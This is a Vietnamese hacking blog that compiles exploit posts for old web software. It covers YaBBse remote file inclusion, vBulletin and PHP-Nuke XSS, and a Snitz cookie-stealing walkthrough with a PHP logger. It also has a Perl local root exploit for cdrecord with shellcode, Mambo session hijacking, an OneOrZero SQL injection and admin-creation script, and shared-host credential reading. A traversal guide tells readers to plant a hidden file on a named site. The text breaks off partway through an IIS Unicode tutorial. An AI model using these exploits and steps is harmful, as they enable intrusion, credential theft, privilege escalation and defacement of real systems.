Thứ Ba, 22 tháng 3, 2011

Lỗi bảo mật của YaBBse 1.5.2


Advisory name: Thi hành lệnh từ xa trong YaBBse 1.5.2 (php version)
Application: Yet another Bulletin Board 1.5.2
Vendor: www.yabbse.org
Date: 06.05.2003
Impact: Attacker có thể sử dụng code php tùy tiện
Vấn đề:
Tên file là SSI.php.
Lỗi này tương tự như version YaBB 1.5.1.

SSI.php:
------------------------------------------
include_once ($sourcedir . '/Errors.php');
include_once ($sourcedir . '/Subs.php');
include_once ($sourcedir . '/Load.php');
------------------------------------------

Ta có thể xác định biến $sourcedir thông qua URL và include vài PHP script local hay
remote nếu remote inclusion có hiệu lực trong file php.ini.
Bug này không khai thác được nếu registar_globals được set sang OFF.

Khai thác:
http://www.victim.com/yabbse/ssi.php?sourcedir=http://www.attacker.com

Attacker có thể thay file Errors.php lên server.

Giải pháp:
Thêm dòng này trước dòng include_once() mà ta đề cập ở trên.

if (!isset($sourcedir)) $sourcedir = "";


Ta cũng nên chú ý đến dòng này
------------------------------------------
(Line #031) $full_yabbse_path = '.';
(Line #048) include_once ($full_yabbse_path . '/Settings.php');
------------------------------------------

và trong Settings.php:
------------------------------------------
(Line #067) $sourcedir = "/home/something/board/Sources";
------------------------------------------

vì thế trước khi Errors.php được include, $sourcedir thì *luôn luôn* set sang một
giá trị, ghi đè lên bất kỳ biến nào mà đi qua URL.
 

Giới thiệu phương pháp Hack Local


Hack local hiện nay rất phổ biến , các bạn chỉ cần có chung host thì các bạn có thể hack được , với điều kiện là host bảo mật ko quá cao.
Điều kiện cần :

Bạn cần phải up 1 file view.pl lên host mình để hack, chmod 775 nhé !
+ Các lệnh để hack :

ls -al : lệnh này để xem thông tin

cd : lệnh này dùng để chuyển thý mục

Cat : lệnh này dùng để xem info database

Thường, với bảo mật ko quá cao, bạn chỉ cần dùng 3 lệnh cơ bản này là đủ rôì nhé !!
+ Tiến hành :

Sau khi up lên host, bạn chạy con view.pl nhé , khi đó nó sẽ đưa lên 1 màng hình đen để hack , bạn nhập pass vào nhé ...

+ sau khi nhập pass, bạn sẽ có đường dẫn là : [admin@www.tênweb/home/kc/public_html/cgi-bin] , đây là đường dẫn đầu tiên từ host của bạn , bạn dùng lệnh cd /home/ , khi đó đường dẫn sẽ là [admin@www.tênweb/home] , bạn dùng lệnh ls -al để xem tất cả các host đang ở cùng trên sever của bạn. vd nhý chúng ta sẽ hack host của hoangtudaumat , bạn tiếp tục dùng lệnh cd hoangtudaumat , khi đó sẽ có đường dẫn là : [admin@tenweb/home/hoangtudaumat/] , khi này , các bạn cần phải dùng lệnh chuyển đến public nhé , vẫn dùng lệnh : cd public_html , khi này , bạn đã có đường dẫn là [admin@tenweb/home/hoangtudaumat/public_html] , để xem các thý mục của public, bạn dùng lệnh ls -al nhé , khi này, các bạn sẽ thấy các tập tin như :forums . index.html .....

Ðể hack , bạn tiếp tục dùng lệnh cd forum , khi đó , đường dẫn của bạn sẽ là [admin@tenweb/home/hoangtudaumat/public_html/forum] , bạn tiếp tục dùng lệnh ls -al để xem , các bạn sẽ thấy các file :conf_global.php , downloads_config.php ...... , để xem thông tin của database , bạn dùng lệnh cat conf_global.php nhé , khi này, bạn đã giử được database ở trong tay rồi đấy ,

User database là $INFO['sql_database']

Pass database là $INFO['sql_pass'

Để đoạt quyền admin, bạn ghi 1 code rồi up lên host của mình và cho nó khởi động là okie thôi ( vì tính chất nguy hiểm nên mình ko ghi được, các bạn thông cảm nhé ).
         

VBulletin Preview Message - Lỗi XSS


Thông tin:
Website: http://k.domaindlx.com/clairsang/www.vbulletin.com/default.htm
Version bị lỗi: vBulletin 3.0.0 Beta 2
Version không bị: vBulletin 2.2

Code khai thác:
Nhớ đăng nhập trước
<html>
<body>
<form action="http://[victim]/forum/private.php" method="post"
name="vbform">
 <input type="hidden" name="do" value="insertpm" />
 <input type="hidden" name="pmid" value="" />
 <input type="hidden" name="forward" value="" />
 <input type="hidden" name="receipt" value="0" />

 <input type="text" class="bginput" name="title" value="" size="40"
tabindex="2" />
 <textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
 <input type="submit" class="button" name="sbutton" value="Post Message"
accesskey="s" tabindex="4" />
 <input type="submit" class="button" value="Preview Message" accesskey="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >

 <input type="checkbox" name="savecopy" value="1" id="cb_savecopy"
checked="checked" />
 <input type="checkbox" name="signature" value="1" id="cb_signature" />
 <input type="checkbox" name="parseurl" value="1" id="cb_parseurl"
checked="checked" />
 <input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" />
</form>
<script>
//Set Values và Submit
// Bạn có thể viết mã JS riêng của mình
var xss = "\"><script>alert(document.cookie)<\/script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
</script>
</body>
</html>
Giải pháp:
HTML Encoding like post thread preview page

PhpNuke - Your Account, Lỗi CSS


Francisco Burzi PHP-Nuke 6.5 Final Release

Chưa test nhưng đến 90% có lỗi:
Francisco Burzi PHP-Nuke 5.6
Francisco Burzi PHP-Nuke 6.0
Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5
Khai thác:
+http://[victim]/modules.php?name=Your_Account&op=userinfo&username=bla<script>alert(document.cookie)</script>
*Bạn phải đăng nhập trước.
**Một vài servers/hệ thống PHP Nuke có kiểm tra chuỗi "<script>" cho biến Querystrings hay POST (ví dụ: www.phphnuke.org). Nhưng hệ thống này vẫn bị lỗi. Bạn chỉ cần làm theo như thế với vài thủ thuật JS.
Giải pháp:
Kiểm tra các chuỗi đó là OK !


Hack ForumSnitz


Bài này được viết chỉ với mục đích học tập. Tôi sẽ không chịu bất kì trách nhiệm nào nếu các bạn dùng nó vào mục đích phá hoại.

SnitzForum có một lỗi khiến cho hacker có thể chạy được JavaScript để lấy cookie. Trong cookie này chứa username và password. Nếu ta lấy được username/pass của admin thì có thể kiểm soát được hoàn toàn forum đó. Sau đây là các bước để hack các diễn đàn dùng SnitzForum
1. Thu thập thông tin: tìm hiểu xem admin ở đó là ai, những chủ đề gần nhất mà hắn đã tham gia 2. Đăng kí 1 free host có hỗ trợ PHP, ví dụ như http://www.f2s.com/, nếu có rồi thì thôi
3.
Soạn thảo và upload 1 file có nội dung như sau (trong bài này đặt tên là page.cgi):

#!/usr/bin/php
<?php
$fp = fopen("mycookie.txt","a+");
fputs($fp,$test . "\n");
readfile("mypic.gif");
?>
4. upload một file ảnh hợp lệ nào đó (trong bài này là mypic.gif) lên cùng thư mục với page.cgi. File ảnh này dùng để trả về sau khi script chạy. Nên dùng ảnh nào có kích thước càng nhỏ càng tốt, ví dụ 1x1 pixel chẳng hạn. 5. Gửi vào các chủ đề mà admin tham gia nội dung sau:

...... any thing you want
[img]http://www.yourpage.f2s.com"onerror="this.src=src+'page.cgi?test='+escape(document.cookie);[/img]
6. Bất kì ai vào đọc topic đó sẽ bị chôm cookie. Các bạn chỉ việc ngồi đợi, khỏi phải làm gì hết. Muốn xem kết quả thì chỉ việc mở file mycookie.txt ở cùng thư mục với file page.cgi là xong.
Kĩ thuật này có thể áp dụng vào SnitzForum bản mới nhất.
 

Thứ Hai, 14 tháng 3, 2011

Đánh lừa Invision Board


Đối với Yahoo ! Messanger chúng ta có thủ thuật online cùng một lúc cả hai nick
thì nay đối với Invision Board ta cũng có thể sử dụng một thủ thuật tương
tự như vậy.

Đối với Yahoo ! Messanger chúng ta có thủ thuật online cùng một lúc cả hai nick
thì nay đối với Invision Board ta cũng có thể sử dụng một thủ thuật tương
tự như vậy.

Ví dụ: bạn có một user name là Quan Vân Trường và một user name là Quan Vũ trên
forum nào đó thì với thủ thuật này bạn sẽ là cho cả hai user name đó cùng
hiển thị trên mục “Các thành viên đang Online”.

Để thực hiện thủ thuật này, bạn cần phải cho cả hai nick ấy có cùng
password., biết được ID của cả hai user name trên forum (cái này có thể biết
được qua phần “Thành viên thứ:***” trong Profile của bài viết). Và một tí
hiểu biết về cookie .
Bắt đầu thực hiện:
Giả sử khi bạn đăng nhập vào forum với user name là Quan Vân trường thì forum
sẽ tạo ra một cookie để lưu trử thông tin đăng nhập của bạn (cookie nằm
tại \Windows\Cookies\ - đối với Win 98 hoặc Documents and Settings\[username]\Cookies\ -
đối với Win XP).
Một cookie thường có dạng sau:

anonlogin
-1
vnhacker.org/
1536
3481636736
29633734
1131861200
29560300
*
member_id
12795
vnhacker.org/
1536
331586176
29634344
3381957936
29560909
*
pass_hash
e10adc3949ba59abbe56e057f20f883e
vnhacker.org/
1536
331586176
29634344
3384857936
29560909
*

Hãy chú ý những dòng được in đậm, member_id: là ID của user name Quan Vân
Trường, pass_hash: là password đã mã hoá MD5 của user name Quan Vân Trường (hé hé
cái password đã được mã hoá kia không phải là password thật của tớ đâu…
đừng có mơ nhé… dãy chử + số loằn ngoằn ấy chỉ đơn giản là các con số
123456 đã được mã hoá thôi… hé hé)

Và xem tiếp một đoạn nhỏ trong file Login.php của bộ IBF:

CODE

$mid = $std->my_getcookie('member_id');
$pid = $std->my_getcookie('pass_hash');

If ($mid and $pid)
{
$DB->query("SELECT * FROM ibf_members WHERE id=$mid AND password='$pid'");




Chính các đoạn mã này nhận nhiệm vụ kiểm tra password của ID nằm trong cookie
có giống với password của ID trên Database hay không rồi mới cho đăng nhập bằng
cookie. Ta sẽ lợi dụng điều này.
Nào bây giờ ta sẽ bắt đầu thực hiện thủ thuật:
1/ Sau khi login vào forum với username thứ nhất (ví dụ: Quan Vân Trường), bạn hãy
đóng tất cả các cửa sổ IE lại (chú ý: không được thoát ra khỏi forum - chỉ
đóng các cửa sổ IE lại thôi).
2/ Tìm cookie của forum (tên cookie thường là [username]@[tên forum], ví dụ: quan
vu@vnhacker.org) và mở nó ra.
3/ Tìm dòng member_id sửa số ID của username thứ nhất thành số ID của user name
thứ hai (ví dụ: ID của user name Quan Vân Trường là 12795, ID của username Quan Vũ
là 19762 thì tớ sẽ thay :
member_id
12795
Thành:
member_id
19762).
Còn dòng pass_hash thì giữ nguyên (nếu cả hai user name cùng chung password)
4/ Save cookie đó lại và vào lại forum.

Khi vào forum bạn sẽ rất bất ngờ đấy, cả hai user name Quan Vân Trường và Quan
Vũ đều nằm trong “Danh sách các thành viên đang online”.
Giải thích:
Khi bạn sửa chửa cookie lại và vào lại forum thì server ghi nhận user name thứ hai
như là một login mới, và do trước đó bạn chưa “Thoát” ra khỏi forum nên user
name thứ nhất của bạn vẫn được server ghi nhận là đang online do đó cả hai
user name đều nằm trong “Danh sách các thành viên đang online”
Khiếm khuyết:
Chỉ sử dụng được user name thứ hai thui… còn user name thứ nhất chỉ để đó
chứ không làm gì được cả…
Chú ý: cần phải chắc chắn cả hai user name đều phải cùng chung một password
thì mới có thể thực hiện thành công. Có thể dùng cho 3, 4 user name cũng được
chứ không chỉ hai…
 

PhpNuke - Path Disclosure

Lỗi Path Disclosure ở PHP-Nuke 6.x, và những version khác?
Khai thác:
+http://victim.x/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=[any_words]
+http://victim.x/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink
Nếu [any_words] có một giá trị không thuộc số hay là một giá trị NULL, thì nó sẽ đưa ra "path disclosure".


Patch
(đây là temporal patch, nhưng... vẫn tốt)
Trong hàm viewlink chèn thêm code sau:
if(!isset($cid) || $cid == NULL || $cid == "" || !is_numeric ($cid))
{
   echo "I don't like you >:|";
   exit();
}

Local root exploit cdrecord


Hi, here it is local root exploit cdrecord format string bug
Cdrecord come suid root by default on mandrake distro and it can be
executed by anybody.
[wsxz@localhost wsxz]$ ls -l /usr/bin/cdrecord
-rwsr-sr-x 1 root cdwriter 278156 Jan 6 07:2
/usr/bin/cdrecord*
here goes the code or get it on
http://k.domaindlx.com/clairsang/releases.priv8security.org/priv8cdr.pl
priv8cdr.pl
--------cut here------------------------------------------------------
#!/usr/bin/perl
###########################################################
#Priv8security.com Cdrecord version 2.0 and < local root exploit.
#
# Version 1.10 is NOT VULN!!!!
#
# [wsxz@localhost buffer]$ perl priv8cdr.pl 4
# Using target number 4
# Using Mr .dtors 0x808c82c
# Cdrecord 2.0 (i586-mandrake-linux-gnu) Copyright © 1995-2002
Jörg Schilling
# scsidev: '1À1Û°Í1ÛØ°.Íë^1ÀFF
# °
# óV
#
Í1ÛØ@ÍèÜÿÿÿ/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n:'
# devname: '1À1Û°Í1ÛØ°.Íë^1ÀFF
# °
# óV
#
Í1ÛØ@ÍèÜÿÿÿ/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n'
# scsibus: -1 target: -1 lun: -1
# Warning: Open by 'devname' is unintentional and not supported.
# /usr/bin/cdrecord: No such file or directory. Cannot open '.
Cannot open SCSI driver.
# /usr/bin/cdrecord: For possible targets try 'cdrecord -scanbus'.
Make sure you are root.
# /usr/bin/cdrecord: For possible transport specifiers try 'cdrecord
dev=help'.
# sh-2.05b# id
# uid=0(root) gid=0(root) groups=503(wsxz)
# sh-2.05b#
#####################################################
$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";
$cdrecordpath = "/usr/bin/cdrecord";
$nop = "\x90"; # x86 NOP
$offset = 0; # Default offset to try.

if (@ARGV == 1 || @ARGV == 2) {
$target = $ARGV[0];
$offset = $ARGV[1];
}else{
printf(" Priv8security.com Cdrecord local root
exploit!!\n");
printf(" usage: $0 target\n");
printf(" List of targets:\n");
printf(" 1 - Linux Mandrake 8.2 Cdrecord
1.11a15\n");
printf(" 2 - Linux Mandrake 9.0 Cdrecord
1.11a32\n");
printf(" 3 - Linux Slackware 8.1 Cdrecord
1.11a24 not suid by default!!!\n");
printf(" 4 - Linux Mandrake 9.1 Cdrecord
2.0\n");
exit(1);
}
if ( $target eq "1" ) {
$retword = 0x0807af38; #Mr .dtors ;)
$fmtstring = "%.134727238x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "2" ) {
# $retword = 0x08084578; #.dtors
$retword = 0x08084684; #.GOT exit
$fmtstring = "%.134769064x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "3" ) {
$retword = 0x0807f658;
$fmtstring = "%.134745456x%x%x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "4" ) {
$retword = 0x0808c82c; #.GOT exit
$fmtstring = "%.134802669x%x%x%x%x%x%x%x%x%n:";
}
printf("Using target number %d\n", $target);
printf("Using Mr .dtors 0x%x\n",$retword);
$new_retword = pack('l', ($retword));
$new_retshell = pack('l', ($retshell));
$buffer2 = $new_retword;
$buffer2 .= $nop x 150;
$buffer2 .= $shellcode;
$buffer2 .= $fmtstring;
exec("$cdrecordpath dev='$buffer2'
'$cdrecordpath'");
--------cut here-----------------------------------------------

Đoạt quyền Admin ở Mambo SiteServer


PROGRAM: Mambo SiteServer
HOMEPAGE: http://k.domaindlx.com/clairsang/www.mamboserver.com/default.htm
TESTED: Mambo 4.0.12 RC2
LOGIN REQUIRED: No

PROOF OF CONCEPT
==============
http://k.domaindlx.com/clairsang/www.voidnull.com/exploit/mamboexp.phps

DESCRIPTION
==========
Một lỗi trong /administrator/index2.php cho phép bất kỳ user nào cũng có thể đoạt được quyền admin
Thực tế, bạn chỉ nghĩ logging như một user bình thường sẽ tạo sessionid này, tuy nhiên một bug trong mã nguồn PHP mà chắc chắn không làm cho điều này xảy ra.

Bất kỳ người nào hiểu sơ sơ về PHP cũng biết rằng khi bạn set một cookie, nó sẽ không cập nhật cho đến khi bạn refresh trang web. Bất kỳ người nào nhưng người làm mã cho Mambo SiteServer là:

setcookie("sessioncookie", "$sessionID");
if ($HTTP_COOKIE_VARS["sessioncookie"]!="") {
$query="INSERT into ".$dbprefix."session set
session_id='$cryptSessionID', guest='', userid='$uid',
usertype='$usertype', gid='$gid', username='$username'";
$database->openConnectionNoReturn($query);
}

Như chúng ta có thể thấy, Mambo SiteServer kiểm tra nếu cookie được set trước khi nó cài vào sessionid trong table. Như thế nó sẽ chưa được set, không có sessionid nào được cài vào và vì thế chúng ta không thể "login" vào ngay cả thư mục admin.

Chuyển đến đoạn mã nguồn trong SessionCookie.php (cái mà được gọi ra khi bạn logout), chúng ta có thể thấy rằng một sessionid được cài vào mỗi khi logout. Tại sao? Tôi không có ý kiến.

$current_time = time();
if ($HTTP_COOKIE_VARS["sessioncookie"]==""){
$randnum=getSessionID1();
...
$cryptrandnum=md5($randnum);
...
setcookie("sessioncookie", "$randnum");
$guest=1;
$query="INSERT into ".$dbprefix."session SET username='',
time=$current_time, session_id='$cryptrandnum', guest=$guest";
$database->openConnectionNoReturn($query);
}

Một cookie, trông giống như sau sẽ được send đến trình duyệt:

sessioncookie=nh54OQIZb8ybaA2CNNdU1046102063

Tất cả những gì chúng ta phải làm là MD5-encrypt nó.
0ebda5bbba49dc226b4ed8fc801f1d98

Bằng việc truy cập /administrator/index2.php với session này, Mambo SiteServer sẽ nghĩ rằng chúng ta là administrator log in vào:

/administrator/index2.php?session_id=0ebda5bbba49dc226b4ed8fc801f1d98

SUMMARY
=======
Đoạt được quyền admin cho phép bạn truy cập vào tất cả cơ sở dữ liệu của MySQL, user passwords, news, polls và tất cả mọi thứ mà server có được. Nhiều websites chạy Mambo SiteServer cộng với những scripts khác mà cần cho MySQL, và điều này là lời cảnh báo đến những webmasters.

SOLUTIONS
========
Cho đến khi Mambo cho ra patch tôi đề nghị bảo vệ mật khẩu thư mục /administrator với .htaccess.

VENDOR STATUS
===========
Đã thông báo cho nhà cung cấp. Họ đang làm cái patch cho lỗi này.         

Lỗi của php-proxima, Remote File Access


Thông tin:
Homepage : http://k.domaindlx.com/clairsang/www.php-proxima.com/default.htm
Vendor : informed
Mailed advisory: 14/05/03
Vender Response : None
Affected Versions: php-proxima 6.0 và những version trước đó

Lỗi:
php-proxima là một hệ thống portal được viết bằng php. php-proxima khác với những version của php-nuke và có những cái thay đổi
Một trong những cái thay đổi đó là php-proxima có chứa một file gọi là autohtml.php.
Bằng cách gửi một yêu cầu đặc biệt như bên dưới, attacker có thể include local file và đọc được chúng.
Lỗi này xuất hiện ở đây:
***************************
..

witch($op) {

   case "modload":
       if (!isset($mainfile)) { include("mainfile.php"); }
       $index = 0;
       include("header.php");
       OpenTable();
                                  include("autohtml/$name");

..
***************************
Một user có thể tránh include mainfile.php và chèn bất kỳ cái gì vào $name.

Ví dụ:
+http://victim/autohtml.php?op=modload&mainfile=x&name=<local filename>

Giải pháp:
Thay dòng
include("autohtml/$name");
bằng:
// include("autohtml/$name");
Kiểm tra patch mới.
Có thể vào google tìm cũng có nhiều cho các bạn test:allinurl: /autohtml.php?op=

Thứ Ba, 8 tháng 3, 2011

Lỗi bảo mật của OneOrZero HelpDesk 1.4 rc4, SQL Injection + Access Admin


Thông tin:
Langage : PHP
Website : http://k.domaindlx.com/clairsang/www.oneorzero.com/default.htm
Version : 1.4 rc4
Vấn đề :
- Injection SQL
- Access Admin

Phát triển:
OneOrZero HelpDesk cũng giống như tên của nó vậy,là một helpdesk và là nơi user gửi câu hỏi, và chờ nhận câu trả lời. Nó bao gồm khu vực của thành viên và admin.
Để vạch ra hai lỗi này, ta cần biết cấu trúc của hai table trong file admin/install.php.
Đầu tiên là $mysql_users_table là table nơi ghi user vào:
id int(11),
first_name varchar(60),
last_name varchar(60),
user_name varchar(60),
email varchar(60),
pager_email varchar(255),
password varchar(255),
office varchar(60),
phone varchar(48),
user int(1),
supporter int(1),
admin int(1),
theme varchar(60),
msn varchar(60),
yahoo varchar(60),
icq varchar(60),
lastactive int(60), ,
language varchar(60),
time_offset int(5).
Lỗi đầu tiên là lỗi injection SQL.
======================
Nó nằm trong file supporter/tupdate.php mà có thể kết nối đến cơ sở dữ liệu.
Ta xem đoạn code sau:
------------------------------------------------------------------
if($groupid == 'change'){
$sql = "UPDATE $mysql_tickets_table set groupid=$sg where  id=$id";
$result = $db->query($sql);
}
--------------------------------------------------------------------------
Theo đó ta có thể chỉnh sửa groupid của bất kỳ ' ticket' nào trong cơ sở dữ liệu. Và ngay bất kỳ vùng khác của table $mysql_tickets_table, ví dụ để thay đổi description, ta chỉ cần gõ một URL như sau:
+http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,descrip tion='nouvelle%20description'&id=1
thực hiện theo yêu cầu của SQL:
-----------------------------------------------------------------------
UPDATE $mysql_tickets_table set groupid=groupid,description='nouvelle  description' where id=1
-------------------------------------------------------------------------------
description của ticket 1 sẽ thay đổi.
Ta có thể làm injection mà không cần dùng ký tự ' or, vì nhờ có hàm MySQL là char().
Ví dụ URL sau :
+http://[target]/supporter/tupdate.php?groupid=change&sg=groupid,user=char(97,98,99,100)&id=10
user sẽ thay đổi người gửi ticket 10 trong "abcd".

Một lỗi khác là dựa trên webmaster.
=========================
OneOrZeren có chứa một giao diện cài đặt trong admin/install.php. File này không thể tự động remove chính nó khi ta đã cài đặt xong, và không chịu kiểm tra trong việc tạo tài khoản admin, nếu tài khoản đó được tao ngay lúc đó hay không.
Ta có thể tìm thấy đoạn code này trong file đó luôn:
---------------------------------------------------------------------------------------------
start("Helpdesk Installation", "center");
 if($HTTP_POST_VARS['first'] == ''){
  showError("first name");
  $flag = 1;
 }
 if($HTTP_POST_VARS['last'] == ''){
  showError("last name");
  $flag = 1;
 }
 if($HTTP_POST_VARS['user'] == ''){
  showError("user name");
  $flag = 1;
 }
 if($HTTP_POST_VARS['email'] == ''){
  showError("email address");
  $flag = 1;
 }
 if($HTTP_POST_VARS['pwd1'] == '' ||  $HTTP_POST_VARS['pwd2'] == ''){
  showError("password");
  $flag = 1;
 }
 if($HTTP_POST_VARS['office'] == ''){
  showError("office");
  $flag = 1;
 }

 if (!checkPwd($HTTP_POST_VARS['pwd1'],  $HTTP_POST_VARS['pwd2'])){
  showError("password");
  $flag = 1;
 }

 if(!validEmail($HTTP_POST_VARS['email'])){
  showError("email");
  $flag = 1;
 }

if($flag == 1){
 endit();
 exit;
}
[...]
$pwd = md5($HTTP_POST_VARS['pwd1']);
$query = "INSERT IGNORE into $mysql_users_table VALUES(NULL,  '".$HTTP_POST_VARS['first']."', '".$HTTP_POST_VARS['last']."',  '".$HTTP_POST_VARS['user']."', '".$HTTP_POST_VARS['email']."', '',  '".$pwd."', '".$HTTP_POST_VARS['office']."',  '".$HTTP_POST_VARS['phone']."', 1, 1, 1, 'default', null, null, null,  0, 'English', '0')";
$db->query($query);
[...]
---------------------------------------------------------------------------------------------
Code này kiểm tả ngay lúc đầu nếu tất cả thông tin được hoàn thành đầy đủ, nếu địa chỉ e-mail có thực, và nếu password được chấp nhận, sau đó chèn vào trong table $mysql_users_table một user mới có quyền admin .
Phải xác định rõ biến này phải đến từ form POST.
Có vài cách khai thác lỗi này nhưng thường là tạo file PHP:
---------------------------------------------------------------------------------------------
<html>
<head>
<title>OneOrZero</title>
</head>
<body>
<b>
<?
if (!isset($_POST["Submit"])){
?>
<form method="POST" action="<? echo $PHP_SELF; ?>">
Target :<br></b>http://<b> <input type="text" name="target"  value="www.target.com"><br>
Directory/ies : <br><input type="text" name="dir"><br>
Port : <br><input type="text" name="port" value="80"><br>
Password : <br><input type="text" name="password"><br>
UserName : <br><input type="text" name="user"><br>
<br><input type="Submit" name="Submit" value="Create Admin Account">
</form>
<?
}else{
$target = str_replace(Array("http:","/"),"",$target);
$req .=  "step=2&first=admin&last=admin&user=$user&pwd1=$password&pwd2=$password &email=a@a.a&office=abcd";
$header .= "POST /$dir/admin/install.php HTTP/1.1\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Connection: Close\r\n";
$header .= "Host: $target\r\n";
$header .= 'Content-Length: ' . strlen($req) . "\r\n\r\n";
$fp = fsockopen ($target, $port);
$res = "";
if (!$fp) {
 echo "Can't connect to http://$target.";
} else {
 fputs ($fp, $header . $req);
 while (!feof($fp)) {
   $res .= fgets ($fp, 1024);
}
 fclose ($fp);
}
if (eregi("Administrator Account Created Successfully.",$res)){
 echo "Administrator Account Created Successfully : <a  href='http://$target/$dir/admin/control.php'>Click Here To Log In</a>.  ";
}else{
 die("Administrator Account Hasn't Been Created.");
}
}
?>
</b>
</body>
</html>
---------------------------------------------------------------------------------------------
------------------------------
$timestamp = time();
------------------------------
và thêm phía dưới dòng đó bằng:
-----------------------------------------------------------------------
foreach ($_REQUEST as $key=>$value) {

   if (get_magic_quotes_gpc()==0) {
       $value = addslashes($value); // This will reproduce the option  magic_quotes_gpc=1
   }

   $value = str_replace('(','()',$value);

   ${$key} = $value;
   $_REQUEST[$key] = $value;
   if (isset($_POST[$key])) { $_POST[$key] = $value; }
   if (isset($_COOKIE[$key])) { $_COOKIE[$key] = $value; }
   if (isset($_FILE[$key])) { $_FILE[$key] = $value; }
   if (isset($_GET[$key])) { $_GET[$key] = $value; }
   if (isset($HTTP_POST_VARS[$key])) { $HTTP_POST_VARS[$key] = $value;  }
   if (isset($HTTP_COOKIE_VARS[$key])) { $HTTP_COOKIE_VARS[$key] =  $value; }
   if (isset($HTTP_FILE_VARS[$key])) { $HTTP_FILE_VARS[$key] = $value;  }
   if (isset($HTTP_GET_VARS[$key])) { $HTTP_GET_VARS[$key] = $value; }
}
-----------------------------------------------------------------------
Và trong file admin/install.php, tìm dòng:
---------------
if($step == 2){
---------------
và thêm vào dưới đó
---------------------------------------------------------------
$sql = "SELECT * FROM $mysql_users_table WHERE id > 0";
$result = $db->query($sql);
$num_rows = $db->num_rows($result);
if ($num_rows > 0){
 die("<b>OneOrZero Is Already Installed.</b>");
}
---------------------------------------------------------------



Site hack đầu tay


Có nhiều bạn thắc mắc Hack trang Web là gì ? phải Hack làm sao ?
Hack một Website có rất nhiều cách mà đa số là Hacker dựa vào các lỗ hổng bảo mật như : IIS, Hosting Controller, Buffer Overflow .... để Hack
Có rất nhiều bài dạy về Hack Web nhưng đây là bài căn bản và dễ hiểu nhất, dành cho ai không biết gì về Hack
Ai chưa từng hack sau khi đọc được bài này sẽ cảm thấy mê hack liền. Chỉ cần làm đúng theo hướng dẫn dưới đây là bạn có thể Hack được một Website rồi, từ đó bạn sẽ có được khái niệm về Hack Web

Site chúng ta thực tập này là 1 site viết phần mềm để bán
1. Login vào đây:
http://k.domaindlx.com/clairsang/www.gracemere.com/filemanagerdemo
sau khi login, nó sẽ mở ra 1 windows trong đó có thư mục và file

2. Click và thư mục images
nó sẽ mở ra 1 web mới
vd :
http://k.domaindlx.com/clairsang/www.gracemere.com/filemanagerdemo/scripts/__filemanager__.asp@path=_252ffilemanagerdemo_252fmembers_252fusercty_252fimages
sau đó thêm vào ở cuối thanh Address dòng : /../../../../../../ Nó sẽ trở thành :
http://k.domaindlx.com/clairsang/www.gracemere.com/filemanagerdemo/scripts/__filemanager__.asp@path=_252ffilemanagerdemo_252fmembers_252fusercty_252fimages_2f.._2f.._2f.._2f.._2f.._2f.._2f

nó sẽ đưa ta đến 1 web, có nhiều thư mục và file, đây chính là bảng control panel " của ta" , muốn làm gì cũng được, chú ý là không upload file lên được, chỉ sửa và tạo file trực tiếp trên đó
hãy vào 1 thư mục nào đó, chọn 1 file html và sửa source của nó hoặc tạo thêm 1 file với buton ở phía trên (New HTML File)
nên để file của bạn trong nhiều lớp thư mục, như thế thì chủ của web khó phát hiện và xoá file đó đi, như cái file của tôi nằm trong 2 lớp thư mục :
http://k.domaindlx.com/clairsang/www.gracemere.com/house/html/cl.htm

chúc thành công nhé


Khai thác lỗ hổng của Unicode trong Microsoft IIS, Hack server


Microsoft IIS là một phần mềm web server. Nó chứa tất cả file của một website, và làm chúng có hiệu lực cho mọi người dùng trên internet. Nhưng như tất cả các phần mềm khác, (đặc biệt là của Microsoft) nó có lỗ hỏng bảo mật Unicode trong IIS của Microsoft, nhưng "không may" những người quản trị thì lại không quan tâm đến việc cài đặt những patch fix lỗi đó. Trong bài hướng dẫn này, ta thảo luận về cách mà lỗi này hoạt động, và Tại sao nó hoạt động được.
Khi bạn viếng thăm một website, địa chỉ của file bạn hiện giờ đang xem sẽ giống như sau:
http://www.someserver.com/
Đây là remote address của web server, hiển thị trên thanh address của trình duyệt. Bất kỳ ai cũng có thể truy cập nó trên internet. Khi vào site này, web server sẽ đưa cho bạn file index, (index.html hay ) của root folder web server. Hầu hết những root folder của một web server là:
C:\inetpub\wwwroot
Đây là thư mục local của web servers, nơi cất giữ tất cả các trang chính của website. Vì vậy nếu bạn gõ địa chỉ sau:
http://www.someserver.com/index.html
Ở trình duyệt, web server sẽ đưa cho bạn local file của nó:
c:\inetpub\wwwroot\index.html
Tôi hy vọng bạn sẽ không quá nhàm chán, việc quan trọng nhất là bạn phải hiểu được sự khác nhau giữa địa chỉ local và remote.
Bây giờ, cái gì sẽ xảy ra nếu ta muốn di chuyển một cặp thư mục lên web server?
Ta muốn di chuyển từ
c:\inetpub\wwwroot
Đến
c:\
Chúng ta sẽ làm như thế nào?
Bạn không thể gõ
http://www.someserver.com/c:\
Web server sẽ bắt đầu đi qua c:\inetpub\wwwroot (local)
Đối với những thư mục riêng, và do bạn không thể có : trong thư mục, nó sẽ đỗ vỡ và bạn nhận được thông báo lỗi trong trình duyệt.
Tiếc quá! lại không hoạt động.
Nếu đã quen với FTP, thì bạn cũng biết lệnh DIRUP dùng để làm gì.
